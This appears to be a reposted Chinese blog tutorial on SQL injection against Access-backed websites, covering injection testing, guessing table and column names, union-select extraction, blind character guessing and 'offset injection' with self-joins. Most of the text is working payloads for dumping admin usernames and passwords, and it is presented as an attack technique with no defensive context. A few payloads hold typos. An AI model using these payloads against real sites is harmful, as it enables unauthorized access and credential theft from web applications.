mysql可以偏移注入_access数据库一般注入方法及偏移注入
1.access數據庫與mysql數據庫的差別
access沒有數據庫,access數據庫每個數據都是單個文件,每個access只有表結構
mysql : 庫名,表名,列名,字段內容
access:表名,列名,字段內容
2. access注入.
1)判斷注入.
and1=1
and 1=2
2)判斷表名,列名
exist()
假如表名為user(也可能為login,admin,admin_user等等)
則查詢語句為exist(select * from user)
若返回正常則頁面存在,列名同理如
and exist(select username from user)
and exist(select password from user)
3)聯合查詢查詢列名
判斷列數 order by 10
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from user
and 1=2 union select 1,username,3,4,password,6,7,8,9,10 from user
4)猜測字段內容
首先猜測字段長度:
and (select top 1 len(username) from admin)>n
若頁面正常,則字段長度大于n.
and (select top 1 ascii(substr(username,1,1) from user)>m
若頁面顯示正常,則字段的第一個字符的ascll碼大于m
可使用二分法,burpsuite爆破,dns注入等提高查詢速度
3. access偏移注入.
常用于:當我們知道表名無法得知字段名,查詢不出字段內容時
order by 13
and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin 直到*正常
假設一個表有8個字段,admin表有3個字段。
聯合查詢payload:union select 1,2,3,4,5,6,7,8 from admin
在我們不知道admin有多少字段的情況下可以嘗試payload:union select 1,2,3,4,5,6,7,admin.* from admin,此時頁面出錯
直到payload:union select 1,2,3,4,5,admin.* from admin時頁面返回正常,說明admin表有三個字段
然后通過移動admin.*的位置,就可以回顯不同的數據
當偏移查詢不到時,可以將表給重命名 admin as a? admin as b
獲取id一樣的字段,amin as a inner join admin as b on a.id=b.id來進行整體查詢
13-9=4 4*2=8 13-8=5
and 1=2 union select 1,2,3,4,5,* from (admin as a inner join admin as b on a.id=b.id)
總結
以上是生活随笔為你收集整理的mysql可以偏移注入_access数据库一般注入方法及偏移注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: new Date()时间
- 下一篇: JS跨域(ajax跨域、iframe跨域